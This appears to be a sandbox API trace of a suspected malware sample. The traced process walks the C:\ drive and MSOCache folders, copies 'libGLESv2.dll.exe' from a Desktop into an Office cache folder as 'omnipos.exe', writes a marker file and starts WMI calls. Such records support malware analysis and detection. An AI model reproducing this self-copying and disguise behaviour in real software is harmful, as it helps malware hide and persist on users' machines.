FindNextFileW (in: hFindFile=0x1b48fa90, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x858b6c65, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x858b6c65, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x25588045, ftLastWriteTime.dwHighDateTime=0x1d9b561, nFileSizeHigh=0x0, nFileSizeLow=0x10000000, dwReserved0=0x0, dwReserved1=0x0, cFileName="swapfile.sys", cAlternateFileName="")) returned 1 [0112.578] FindNextFileW (in: hFindFile=0x1b48fa90, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x85289733, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x2dbfc137, ftLastAccessTime.dwHighDateTime=0x1d70505, ftLastWriteTime.dwLowDateTime=0x2dbfc137, ftLastWriteTime.dwHighDateTime=0x1d70505, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System Volume Information", cAlternateFileName="SYSTEM~1")) returned 1 [0112.578] FindNextFileW (in: hFindFile=0x1b48fa90, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x31bae0f4, ftCreationTime.dwHighDateTime=0x1d112dc, ftLastAccessTime.dwLowDateTime=0x3ce179de, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x3ce179de, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 1 [0112.578] FindNextFileW (in: hFindFile=0x1b48fa90, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x31bae0f4, ftCreationTime.dwHighDateTime=0x1d112dc, ftLastAccessTime.dwLowDateTime=0x40b942d, ftLastAccessTime.dwHighDateTime=0x1d9b562, ftLastWriteTime.dwLowDateTime=0x40b942d, ftLastWriteTime.dwHighDateTime=0x1d9b562, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1 [0112.578] FindNextFileW (in: hFindFile=0x1b48fa90, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0112.578] FindClose (in: hFindFile=0x1b48fa90 | out: hFindFile=0x1b48fa90) returned 1 [0112.578] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b30d9c0) returned 1 [0112.579] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b30d980) returned 1 [0112.579] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b30da90) returned 1 [0112.579] GetFullPathNameW (in: lpFileName="C:\\MSOCache", nBufferLength=0x105, lpBuffer=0x1b30d570, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache", lpFilePart=0x0) returned 0xb [0112.579] FindFirstFileW (in: lpFileName="C:\\MSOCache\\*" (normalized: "c:\\msocache\\*"), lpFindFileData=0x1b30d7a0 | out: lpFindFileData=0x1b30d7a0*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0x4cb5cae1, ftCreationTime.dwHighDateTime=0x1d99cf3, ftLastAccessTime.dwLowDateTime=0x4cba8e1e, ftLastAccessTime.dwHighDateTime=0x1d99cf3, ftLastWriteTime.dwLowDateTime=0x4cba8e1e, ftLastWriteTime.dwHighDateTime=0x1d99cf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b48ff10 [0112.579] FindNextFileW (in: hFindFile=0x1b48ff10, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0x4cb5cae1, ftCreationTime.dwHighDateTime=0x1d99cf3, ftLastAccessTime.dwLowDateTime=0x4cba8e1e, ftLastAccessTime.dwHighDateTime=0x1d99cf3, ftLastWriteTime.dwLowDateTime=0x4cba8e1e, ftLastWriteTime.dwHighDateTime=0x1d99cf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.580] FindNextFileW (in: hFindFile=0x1b48ff10, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x4cba8e1e, ftCreationTime.dwHighDateTime=0x1d99cf3, ftLastAccessTime.dwLowDateTime=0x53754a8c, ftLastAccessTime.dwHighDateTime=0x1d99cf3, ftLastWriteTime.dwLowDateTime=0x53754a8c, ftLastWriteTime.dwHighDateTime=0x1d99cf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="All Users", cAlternateFileName="ALLUSE~1")) returned 1 [0112.580] FindNextFileW (in: hFindFile=0x1b48ff10, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0112.580] FindClose (in: hFindFile=0x1b48ff10 | out: hFindFile=0x1b48ff10) returned 1 [0112.580] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b30d9c0) returned 1 [0112.580] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b30d980) returned 1 [0112.580] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b30da90) returned 1 [0112.580] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users", nBufferLength=0x105, lpBuffer=0x1b30d570, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users", lpFilePart=0x0) returned 0x15 [0112.580] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\*" (normalized: "c:\\msocache\\all users\\*"), lpFindFileData=0x1b30d7a0 | out: lpFindFileData=0x1b30d7a0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x4cba8e1e, ftCreationTime.dwHighDateTime=0x1d99cf3, ftLastAccessTime.dwLowDateTime=0x53754a8c, ftLastAccessTime.dwHighDateTime=0x1d99cf3, ftLastWriteTime.dwLowDateTime=0x53754a8c, ftLastWriteTime.dwHighDateTime=0x1d99cf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b48fa90 [0112.587] FindNextFileW (in: hFindFile=0x1b48fa90, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x4cba8e1e, ftCreationTime.dwHighDateTime=0x1d99cf3, ftLastAccessTime.dwLowDateTime=0x53754a8c, ftLastAccessTime.dwHighDateTime=0x1d99cf3, ftLastWriteTime.dwLowDateTime=0x53754a8c, ftLastWriteTime.dwHighDateTime=0x1d99cf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.589] FindNextFileW (in: hFindFile=0x1b48fa90, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x53754a8c, ftCreationTime.dwHighDateTime=0x1d99cf3, ftLastAccessTime.dwLowDateTime=0x7414ceb6, ftLastAccessTime.dwHighDateTime=0x1d99cf3, ftLastWriteTime.dwLowDateTime=0x7414ceb6, ftLastWriteTime.dwHighDateTime=0x1d99cf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90160000-0011-0000-1000-0000000FF1CE}-C", cAlternateFileName="{94AB0~1")) returned 1 [0112.589] FindNextFileW (in: hFindFile=0x1b48fa90, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x4ff381d6, ftCreationTime.dwHighDateTime=0x1d99cf3, ftLastAccessTime.dwLowDateTime=0x503642c5, ftLastAccessTime.dwHighDateTime=0x1d99cf3, ftLastWriteTime.dwLowDateTime=0x503642c5, ftLastWriteTime.dwHighDateTime=0x1d99cf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90160000-0016-0409-1000-0000000FF1CE}-C", cAlternateFileName="{98066~1")) returned 1 [0112.589] FindNextFileW (in: hFindFile=0x1b48fa90, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x526ca3f9, ftCreationTime.dwHighDateTime=0x1d99cf3, ftLastAccessTime.dwLowDateTime=0x527fb77e, ftLastAccessTime.dwHighDateTime=0x1d99cf3, ftLastWriteTime.dwLowDateTime=0x527fb77e, ftLastWriteTime.dwHighDateTime=0x1d99cf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90160000-0018-0409-1000-0000000FF1CE}-C", cAlternateFileName="{9C19D~1")) returned 1 [0112.589] FindNextFileW (in: hFindFile=0x1b48fa90, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x52821923, ftCreationTime.dwHighDateTime=0x1d99cf3, ftLastAccessTime.dwLowDateTime=0x5292c98c, ftLastAccessTime.dwHighDateTime=0x1d99cf3, ftLastWriteTime.dwLowDateTime=0x5292c98c, ftLastWriteTime.dwHighDateTime=0x1d99cf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90160000-0019-0409-1000-0000000FF1CE}-C", cAlternateFileName="{989EF~1")) returned 1 [0112.589] FindNextFileW (in: hFindFile=0x1b48fa90, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x5259918c, ftCreationTime.dwHighDateTime=0x1d99cf3, ftLastAccessTime.dwLowDateTime=0x526a414b, ftLastAccessTime.dwHighDateTime=0x1d99cf3, ftLastWriteTime.dwLowDateTime=0x526a414b, ftLastWriteTime.dwHighDateTime=0x1d99cf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90160000-001A-0409-1000-0000000FF1CE}-C", cAlternateFileName="{9241F~1")) returned 1 [0112.590] FindNextFileW (in: hFindFile=0x1b48fa90, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x52978e93, ftCreationTime.dwHighDateTime=0x1d99cf3, ftLastAccessTime.dwLowDateTime=0x535185e6, ftLastAccessTime.dwHighDateTime=0x1d99cf3, ftLastWriteTime.dwLowDateTime=0x535185e6, ftLastWriteTime.dwHighDateTime=0x1d99cf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90160000-001B-0409-1000-0000000FF1CE}-C", cAlternateFileName="{96CBC~1")) returned 1 [0112.590] FindNextFileW (in: hFindFile=0x1b48fa90, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x4d80719b, ftCreationTime.dwHighDateTime=0x1d99cf3, ftLastAccessTime.dwLowDateTime=0x4f4310c9, ftLastAccessTime.dwHighDateTime=0x1d99cf3, ftLastWriteTime.dwLowDateTime=0x4f4310c9, ftLastWriteTime.dwHighDateTime=0x1d99cf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90160000-002C-0409-1000-0000000FF1CE}-C", cAlternateFileName="{90160~2")) returned 1 [0112.590] FindNextFileW (in: hFindFile=0x1b48fa90, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x5055ce95, ftCreationTime.dwHighDateTime=0x1d99cf3, ftLastAccessTime.dwLowDateTime=0x50e80594, ftLastAccessTime.dwHighDateTime=0x1d99cf3, ftLastWriteTime.dwLowDateTime=0x50e80594, ftLastWriteTime.dwHighDateTime=0x1d99cf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90160000-0044-0409-1000-0000000FF1CE}-C", cAlternateFileName="{932B0~1")) returned 1 [0112.590] FindNextFileW (in: hFindFile=0x1b48fa90, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x4f9da788, ftCreationTime.dwHighDateTime=0x1d99cf3, ftLastAccessTime.dwLowDateTime=0x4fb0bc8d, ftLastAccessTime.dwHighDateTime=0x1d99cf3, ftLastWriteTime.dwLowDateTime=0x4fb0bc8d, ftLastWriteTime.dwHighDateTime=0x1d99cf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90160000-0090-0409-1000-0000000FF1CE}-C", cAlternateFileName="{95728~1")) returned 1 [0112.590] FindNextFileW (in: hFindFile=0x1b48fa90, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x4f69338f, ftCreationTime.dwHighDateTime=0x1d99cf3, ftLastAccessTime.dwLowDateTime=0x4f8a96bf, ftLastAccessTime.dwHighDateTime=0x1d99cf3, ftLastWriteTime.dwLowDateTime=0x4f8a96bf, ftLastWriteTime.dwHighDateTime=0x1d99cf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90160000-00A1-0409-1000-0000000FF1CE}-C", cAlternateFileName="{90160~4")) returned 1 [0112.591] FindNextFileW (in: hFindFile=0x1b48fa90, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x503b0408, ftCreationTime.dwHighDateTime=0x1d99cf3, ftLastAccessTime.dwLowDateTime=0x504bd24f, ftLastAccessTime.dwHighDateTime=0x1d99cf3, ftLastWriteTime.dwLowDateTime=0x504bd24f, ftLastWriteTime.dwHighDateTime=0x1d99cf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90160000-00BA-0409-1000-0000000FF1CE}-C", cAlternateFileName="{9F87F~1")) returned 1 [0112.591] FindNextFileW (in: hFindFile=0x1b48fa90, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x4fba45c7, ftCreationTime.dwHighDateTime=0x1d99cf3, ftLastAccessTime.dwLowDateTime=0x4fe9f263, ftLastAccessTime.dwHighDateTime=0x1d99cf3, ftLastWriteTime.dwLowDateTime=0x4fe9f263, ftLastWriteTime.dwHighDateTime=0x1d99cf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90160000-00C1-0409-1000-0000000FF1CE}-C", cAlternateFileName="{95576~1")) returned 1 [0112.591] FindNextFileW (in: hFindFile=0x1b48fa90, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x4f8a96bf, ftCreationTime.dwHighDateTime=0x1d99cf3, ftLastAccessTime.dwLowDateTime=0x4f94203a, ftLastAccessTime.dwHighDateTime=0x1d99cf3, ftLastWriteTime.dwLowDateTime=0x4f94203a, ftLastWriteTime.dwHighDateTime=0x1d99cf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90160000-00E1-0409-1000-0000000FF1CE}-C", cAlternateFileName="{952F0~1")) returned 1 [0112.591] FindNextFileW (in: hFindFile=0x1b48fa90, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x51914b5c, ftCreationTime.dwHighDateTime=0x1d99cf3, ftLastAccessTime.dwLowDateTime=0x52573052, ftLastAccessTime.dwHighDateTime=0x1d99cf3, ftLastWriteTime.dwLowDateTime=0x52573052, ftLastWriteTime.dwHighDateTime=0x1d99cf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90160000-00E2-0409-1000-0000000FF1CE}-C", cAlternateFileName="{9343A~1")) returned 1 [0112.591] FindNextFileW (in: hFindFile=0x1b48fa90, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x4cba8e1e, ftCreationTime.dwHighDateTime=0x1d99cf3, ftLastAccessTime.dwLowDateTime=0x4cd98c84, ftLastAccessTime.dwHighDateTime=0x1d99cf3, ftLastWriteTime.dwLowDateTime=0x4cd98c84, ftLastWriteTime.dwHighDateTime=0x1d99cf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90160000-0115-0409-1000-0000000FF1CE}-C", cAlternateFileName="{90160~1")) returned 1 [0112.592] FindNextFileW (in: hFindFile=0x1b48fa90, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x4f457316, ftCreationTime.dwHighDateTime=0x1d99cf3, ftLastAccessTime.dwLowDateTime=0x4f66d189, ftLastAccessTime.dwHighDateTime=0x1d99cf3, ftLastWriteTime.dwLowDateTime=0x4f66d189, ftLastWriteTime.dwHighDateTime=0x1d99cf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90160000-0117-0409-1000-0000000FF1CE}-C", cAlternateFileName="{90160~3")) returned 1 [0112.592] FindNextFileW (in: hFindFile=0x1b48fa90, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x516661cb, ftCreationTime.dwHighDateTime=0x1d99cf3, ftLastAccessTime.dwLowDateTime=0x518a260e, ftLastAccessTime.dwHighDateTime=0x1d99cf3, ftLastWriteTime.dwLowDateTime=0x518a260e, ftLastWriteTime.dwHighDateTime=0x1d99cf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90160000-012B-0409-1000-0000000FF1CE}-C", cAlternateFileName="{9DABD~1")) returned 1 [0112.592] FindNextFileW (in: hFindFile=0x1b48fa90, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0112.592] FindClose (in: hFindFile=0x1b48fa90 | out: hFindFile=0x1b48fa90) returned 1 [0112.593] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b30d9c0) returned 1 [0112.593] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b30d980) returned 1 [0112.593] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Desktop\\libGLESv2.dll.exe", nBufferLength=0x105, lpBuffer=0x1b30d5f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Desktop\\libGLESv2.dll.exe", lpFilePart=0x0) returned 0x2f [0112.593] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-0018-0409-1000-0000000FF1CE}-C\\omnipos.exe", nBufferLength=0x105, lpBuffer=0x1b30d5f0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-0018-0409-1000-0000000FF1CE}-C\\omnipos.exe", lpFilePart=0x0) returned 0x4a [0112.593] CopyFileW (lpExistingFileName="C:\\Users\\RDhJ0CNFevzX\\Desktop\\libGLESv2.dll.exe" (normalized: "c:\\users\\rdhj0cnfevzx\\desktop\\libglesv2.dll.exe"), lpNewFileName="C:\\MSOCache\\All Users\\{90160000-0018-0409-1000-0000000FF1CE}-C\\omnipos.exe" (normalized: "c:\\msocache\\all users\\{90160000-0018-0409-1000-0000000ff1ce}-c\\omnipos.exe"), bFailIfExists=0) returned 1 [0113.168] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-0018-0409-1000-0000000FF1CE}-C\\9a9ef8f6a80f81", nBufferLength=0x105, lpBuffer=0x1b30d3f0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-0018-0409-1000-0000000FF1CE}-C\\9a9ef8f6a80f81", lpFilePart=0x0) returned 0x4d [0113.168] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b30d8d0) returned 1 [0113.168] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90160000-0018-0409-1000-0000000FF1CE}-C\\9a9ef8f6a80f81" (normalized: "c:\\msocache\\all users\\{90160000-0018-0409-1000-0000000ff1ce}-c\\9a9ef8f6a80f81"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x3f8 [0113.169] GetFileType (hFile=0x3f8) returned 0x1 [0113.169] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b30d840) returned 1 [0113.169] GetFileType (hFile=0x3f8) returned 0x1 [0113.169] WriteFile (in: hFile=0x3f8, lpBuffer=0x2924ea0*, nNumberOfBytesToWrite=0x25, lpNumberOfBytesWritten=0x1b30d908, lpOverlapped=0x0 | out: lpBuffer=0x2924ea0*, lpNumberOfBytesWritten=0x1b30d908*=0x25, lpOverlapped=0x0) returned 1 [0113.170] CloseHandle (hObject=0x3f8) returned 1 [0113.171] CoGetObjectContext (in: riid=0x25a6878*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d648 | out: ppv=0x1b30d648*=0x6124e8) returned 0x0 [0113.171] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d638 | out: pAptType=0x1b30d638*=1) returned 0x0 [0113.172] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x25a6858*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d640 | out: ppvObject=0x1b30d640*=0x0) returned 0x80004002 [0113.172] IUnknown:Release (This=0x6124e8) returned 0x1 [0113.173] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30ca38 | out: ppv=0x1b30ca38*=0x1b4abcd0) returned 0x0 [0113.173] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4abcd0, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30cb20 | out: ppvObject=0x1b30cb20*=0x0) returned 0x80004002 [0113.173] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b4abcd0, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30caf8 | out: ppvObject=0x1b30caf8*=0x1b4af760) returned 0x0 [0113.173] WbemDefPath:IUnknown:Release (This=0x1b4abcd0) returned 0x0 [0113.173] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af760, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c8a0 | out: ppvObject=0x1b30c8a0*=0x1b4af760) returned 0x0 [0113.173] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af760, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c930 | out: ppvObject=0x1b30c930*=0x0) returned 0x80004002 [0113.173] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af760, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c128 | out: ppvObject=0x1b30c128*=0x0) returned 0x80004002 [0113.173] WbemDefPath:IUnknown:AddRef (This=0x1b4af760) returned 0x3 [0113.173] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af760, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bfe8 | out: ppvObject=0x1b30bfe8*=0x0) returned 0x80004002 [0113.173] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af760, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bf70 | out: ppvObject=0x1b30bf70*=0x0) returned 0x80004002 [0113.173] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af760, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bf60 | out: ppvObject=0x1b30bf60*=0x1b4abad0) returned 0x0 [0113.174] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b4abad0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bf88 | out: pCid=0x1b30bf88*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0113.174] WbemDefPath:IUnknown:Release (This=0x1b4abad0) returned 0x3 [0113.174] CoGetContextToken (in: pToken=0x1b30c010 | out: pToken=0x1b30c010) returned 0x0 [0113.174] CoGetContextToken (in: pToken=0x1b30c490 | out: pToken=0x1b30c490) returned 0x0 [0113.174] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af760, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c550 | out: ppvObject=0x1b30c550*=0x0) returned 0x80004002 [0113.174] 